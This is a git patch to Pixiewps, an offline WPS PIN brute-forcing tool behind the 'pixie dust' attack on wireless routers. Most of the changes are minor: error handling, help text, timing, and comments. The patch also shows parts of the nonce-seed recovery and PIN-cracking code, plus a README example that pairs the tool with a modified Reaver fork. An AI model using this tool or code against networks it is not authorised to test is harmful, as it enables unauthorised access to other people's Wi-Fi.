From f5e4bc0075413c7588b58de4f9fff3836df63504 Mon Sep 17 00:00:00 2001 From: wiire Date: Thu, 14 May 2015 21:04:05 +0200 Subject: [PATCH] Minor fixes and changes --- README.md | 30 +++++++++++++----- src/Makefile | 3 +- src/pixiewps.c | 83 ++++++++++++++++++++++++-------------------------- src/pixiewps.h | 12 ++++---- src/random_r.h | 8 ++--- src/utils.h | 2 +- 6 files changed, 75 insertions(+), 63 deletions(-) diff --git a/README.md b/README.md index be07d63..ed506ce 100644 --- a/README.md +++ b/README.md @@ -35,16 +35,32 @@ Pixiewps can be built and installed by running: Optional Arguments: - -n, --e-nonce : Enrollee nonce (mode 2,3,4) + -n, --e-nonce : Enrollee nonce -m, --r-nonce : Registrar nonce -b, --e-bssid : Enrollee BSSID -S, --dh-small : Small Diffie-Hellman keys (PKr not needed) [No] - -f, --force : Bruteforce the whole keyspace (mode 4) [No] - -v, --verbosity : Verbosity level 1-3, 1 is quietest [2] + -f, --force : Bruteforce the whole keyspace [No] + -v, --verbosity : Verbosity level 1-3, 1 is quietest [3] -h, --help : Display this usage screen ``` +# USAGE EXAMPLE + +A common usage example is: + +``` + pixiewps --pke --pkr --e-hash1 --e-hash2 --authkey --e-nonce +``` + +which requires a modified version of Reaver or Bully which prints *AuthKey*. The recommended version is [reaver-wps-fork-t6x](https://github.com/t6x/reaver-wps-fork-t6x). + +If the following message is shown: + +> [!] The AP /might be/ vulnerable. Try again with --force or with another (newer) set of data. + +then the AP might be vulnerable and Pixiewps should be run again with the same set of data along with the option `--force` or alternatively with a newer set of data. + # DESCRIPTION OF ARGUMENTS ``` @@ -55,7 +71,7 @@ Pixiewps can be built and installed by running: -r, --pkr Registrar's DH public key, found in M2 or can be avoided by specifying - small Diffie-Hellman keys in both Reaver and Pixiewps. + --dh-small in both Reaver and Pixiewps. -s, --e-hash1 @@ -86,12 +102,12 @@ Pixiewps can be built and installed by running: -S, --dh-small - Small Diffie-Hellman keys. The same option MUST be specified on Reaver - (1.3 or later versions) too. + Small Diffie-Hellman keys. The same option MUST be specified in Reaver + (1.3 or later versions) too. This option should be avoided when possible. -f, --force - Force Pixiewps to bruteforce the whole keyspace for mode 4. + Force Pixiewps to bruteforce the whole keyspace (only for one type of PRNG). It could take up to several minutes to complete. -v, --verbosity diff --git a/src/Makefile b/src/Makefile index 2e6db65..e4e3b7d 100644 --- a/src/Makefile +++ b/src/Makefile @@ -1,5 +1,4 @@ -CC = gcc -CCFLAGS = -std=c99 +CCFLAGS = -std=c99 -O3 LDFLAGS = -lssl -lcrypto TARGET = pixiewps diff --git a/src/pixiewps.c b/src/pixiewps.c index 71bc9e6..180d2ac 100644 --- a/src/pixiewps.c +++ b/src/pixiewps.c @@ -1,5 +1,5 @@ /* - * pixiewps: bruteforce the wps pin exploiting the low or non-existing entropy of some APs (pixie dust attack). + * Pixiewps: bruteforce the wps pin exploiting the low or non-existing entropy of some APs (pixie dust attack). * All credits for the research go to Dominique Bongard. * * Special thanks to: datahead, soxrok2212 @@ -75,25 +75,10 @@ int main(int argc, char **argv) { struct global *wps; if ((wps = calloc(1, sizeof(struct global)))) { - wps->pke = 0; - wps->pkr = 0; - wps->e_hash1 = 0; - wps->e_hash2 = 0; - wps->authkey = 0; - wps->e_nonce = 0; - wps->r_nonce = 0; - wps->e_bssid = 0; - wps->psk1 = 0; - wps->psk2 = 0; - wps->dhkey = 0; - wps->kdk = 0; - wps->wrapkey = 0; - wps->emsk = 0; - wps->e_s1 = 0; - wps->e_s2 = 0; - wps->bruteforce = false; - wps->verbosity = 2; - wps->error = calloc(256, 1); if (!wps->error) goto memory_err; + wps->verbosity = 3; + wps->error = calloc(256, 1); + if (!wps->error) + goto memory_err; wps->error[0] = '\n'; } else { memory_err: @@ -193,32 +178,42 @@ int main(int argc, char **argv) { break; case 'h': goto usage_err; + break; case '?': default: - fprintf(stderr, "%s -h for help\n", argv[0]); + fprintf(stderr, "Run %s -h for help.\n", argv[0]); + free(wps->error); + free(wps); return ARG_ERROR; } opt = getopt_long(argc, argv, option_string, long_options, &long_index); } - /* Not all required arguments have been supplied */ - if (wps->pke == 0 || wps->e_hash1 == 0 || wps->e_hash2 == 0) { - wps->error = "\n [!] Not all required arguments have been supplied!\n\n"; + if (argc - optind != 0) { + snprintf(wps->error, 256, "\n [!] Unknown argument(s)!\n\n"); usage_err: fprintf(stderr, usage, VERSION, argv[0], wps->error); + free(wps->error); + free(wps); return ARG_ERROR; } + /* Not all required arguments have been supplied */ + if (wps->pke == 0 || wps->e_hash1 == 0 || wps->e_hash2 == 0) { + snprintf(wps->error, 256, "\n [!] Not all required arguments have been supplied!\n\n"); + goto usage_err; + } + /* If --dh-small is selected then no --pkr should be supplied */ if (wps->pkr && wps->small_dh_keys) { - wps->error = "\n [!] Options --dh-small and --pkr are mutually exclusive!\n\n"; + snprintf(wps->error, 256, "\n [!] Options --dh-small and --pkr are mutually exclusive!\n\n"); goto usage_err; } /* Either --pkr or --dh-small must be specified */ if (!wps->pkr && !wps->small_dh_keys) { - wps->error = "\n [!] Either --pkr or --dh-small must be specified!\n\n"; + snprintf(wps->error, 256, "\n [!] Either --pkr or --dh-small must be specified!\n\n"); goto usage_err; } @@ -286,15 +281,15 @@ int main(int argc, char **argv) { } free(buffer); } else { - wps->error = "\n [!] Neither --authkey and --e-bssid have been supplied!\n\n"; + snprintf(wps->error, 256, "\n [!] Neither --authkey and --e-bssid have been supplied!\n\n"); goto usage_err; } } else { - wps->error = "\n [!] Neither --authkey and --r-nonce have been supplied!\n\n"; + snprintf(wps->error, 256, "\n [!] Neither --authkey and --r-nonce have been supplied!\n\n"); goto usage_err; } } else { - wps->error = "\n [!] Neither --authkey and --e-nonce have been supplied!\n\n"; + snprintf(wps->error, 256, "\n [!] Neither --authkey and --e-nonce have been supplied!\n\n"); goto usage_err; } } @@ -323,15 +318,14 @@ int main(int argc, char **argv) { bool valid = false; int mode = 1; bool found = false; - struct timeval t0, t1; - - gettimeofday(&t0, 0); + clock_t c_start, c_end; + c_start = clock(); while (mode <= MAX_MODE && !found) { seed = 0; print_seed = 0; - /* ES-1 = ES-2 = E-Nonce */ + /* E-S1 = E-S2 = E-Nonce */ if (mode == 2 && wps->e_nonce) { memcpy(wps->e_s1, wps->e_nonce, WPS_SECRET_NONCE_LEN); memcpy(wps->e_s2, wps->e_nonce, WPS_SECRET_NONCE_LEN); @@ -355,11 +349,11 @@ int main(int argc, char **argv) { if (i == WPS_NONCE_LEN) { /* Seed found */ print_seed = seed; - /* Advance to get ES-1 */ + /* Advance to get E-S1 */ for (i = 0; i < WPS_SECRET_NONCE_LEN; i++) wps->e_s1[i] = (unsigned char) rand_r(&seed); - /* Advance to get ES-2 */ + /* Advance to get E-S2 */ for (i = 0; i < WPS_SECRET_NONCE_LEN; i++) wps->e_s2[i] = (unsigned char) rand_r(&seed); @@ -407,6 +401,7 @@ int main(int argc, char **argv) { struct random_data *buf = (struct random_data *) calloc(1, sizeof(struct random_data)); char *rand_statebuf = (char *) calloc(1, 128); + initstate_r(seed, rand_statebuf, 128, buf); int32_t res = 0; @@ -416,7 +411,7 @@ int main(int argc, char **argv) { int i; for (i = 0; i < 4; i++) { random_r(buf, &res); - if (res != randr_enonce[i]) break; + if ((uint32_t) res != randr_enonce[i]) break; } if (i == 4) { @@ -426,7 +421,7 @@ int main(int argc, char **argv) { random_r(buf, &res); uint32_t be = __be32_to_cpu(res); memcpy(&(wps->e_s1[4 * i]), &be, 4); - memcpy(wps->e_s2, wps->e_s1, WPS_SECRET_NONCE_LEN); /* ES-1 = ES-2 != E-Nonce */ + memcpy(wps->e_s2, wps->e_s1, WPS_SECRET_NONCE_LEN); /* E-S1 = E-S2 != E-Nonce */ } } @@ -443,7 +438,8 @@ int main(int argc, char **argv) { /* WPS pin cracking */ if (mode == 1 || (mode == 2 && wps->e_nonce) || (mode == 3 && print_seed) || (mode == 4 && print_seed)) { -crack: + + crack: first_half = 0; second_half = 0; while (first_half < 10000) { @@ -528,9 +524,11 @@ crack: mode++; } - gettimeofday(&t1, 0); - long elapsed_s = t1.tv_sec - t0.tv_sec; + c_end = clock(); + long ms_elapsed = (c_end - c_start) / 1000; + mode--; + if (mode == MAX_MODE + 1) mode--; printf("\n Pixiewps %s\n", VERSION); @@ -569,10 +567,10 @@ crack: } else { printf("\n [-] WPS pin not found!"); } - printf("\n\n [*] Time taken: %lu s\n\n", elapsed_s); + printf("\n\n [*] Time taken: %ld s %ld ms\n\n", ms_elapsed / 1000, ms_elapsed % 1000); if (!found && mode == 4 && valid && !wps->bruteforce) { - printf(" [!] The AP /might be/ vulnerable to mode 4. Try again with --force or with another (newer) set of data.\n\n"); + printf(" [!] The AP /might be/ vulnerable. Try again with --force or with another (newer) set of data.\n\n"); } free(result); @@ -619,4 +617,3 @@ int32_t rand_r(uint32_t *seed) { *seed = s; return (int32_t) uret; } - diff --git a/src/pixiewps.h b/src/pixiewps.h index 93b4b3e..d51502d 100644 --- a/src/pixiewps.h +++ b/src/pixiewps.h @@ -1,5 +1,5 @@ /* - * pixiewps: bruteforce the wps pin exploiting the low or non-existing entropy of some APs (pixie dust attack). + * Pixiewps: bruteforce the wps pin exploiting the low or non-existing entropy of some APs (pixie dust attack). * All credits for the research go to Dominique Bongard. * * Special thanks to: datahead, soxrok2212 @@ -42,7 +42,7 @@ #define VERSION "1.1" #define MAX_MODE 4 -#define MODE4_DAYS 10 +#define MODE4_DAYS 3 #define SEC_PER_HOUR 3600 #define SEC_PER_DAY 86400 @@ -108,12 +108,12 @@ char usage[] = "\n" " Optional Arguments:\n" "\n" - " -n, --e-nonce : Enrollee nonce (mode 2,3,4)\n" + " -n, --e-nonce : Enrollee nonce\n" " -m, --r-nonce : Registrar nonce\n" - " -b, --e-bssid : Enrollee BSSID\n" + " -b, --e-bssid : Enrollee BSSID\n" " -S, --dh-small : Small Diffie-Hellman keys (PKr not needed) [No]\n" - " -f, --force : Bruteforce the whole keyspace (mode 4) [No]\n" - " -v, --verbosity : Verbosity level 1-3, 1 is quietest [2]\n" + " -f, --force : Bruteforce the whole keyspace [No]\n" + " -v, --verbosity : Verbosity level 1-3, 1 is quietest [3]\n" "\n" " -h, --help : Display this usage screen\n" "\n" diff --git a/src/random_r.h b/src/random_r.h index 4fe3b5d..3c3dc0a 100644 --- a/src/random_r.h +++ b/src/random_r.h @@ -1,5 +1,5 @@ /* - * pixiewps: bruteforce the wps pin exploiting the low or non-existing entropy of some APs (pixie dust attack). + * Pixiewps: bruteforce the wps pin exploiting the low or non-existing entropy of some APs (pixie dust attack). * All credits for the research go to Dominique Bongard. * * Special thanks to: datahead, soxrok2212 @@ -53,8 +53,8 @@ struct random_data { }; void random_r(struct random_data *buf, int32_t *result); -int srandom_r (unsigned int seed, struct random_data *buf); -int initstate_r (unsigned int seed, char *arg_state, size_t n, struct random_data *buf); -int setstate_r (char *arg_state, struct random_data *buf); +int srandom_r(unsigned int seed, struct random_data *buf); +int initstate_r(unsigned int seed, char *arg_state, size_t n, struct random_data *buf); +int setstate_r(char *arg_state, struct random_data *buf); #endif /* _RANDOM_R_H */ diff --git a/src/utils.h b/src/utils.h index 6883b59..f2f7686 100644 --- a/src/utils.h +++ b/src/utils.h @@ -1,5 +1,5 @@ /* - * pixiewps: bruteforce the wps pin exploiting the low or non-existing entropy of some APs (pixie dust attack). + * Pixiewps: bruteforce the wps pin exploiting the low or non-existing entropy of some APs (pixie dust attack). * All credits for the research go to Dominique Bongard. * * Special thanks to: datahead, soxrok2212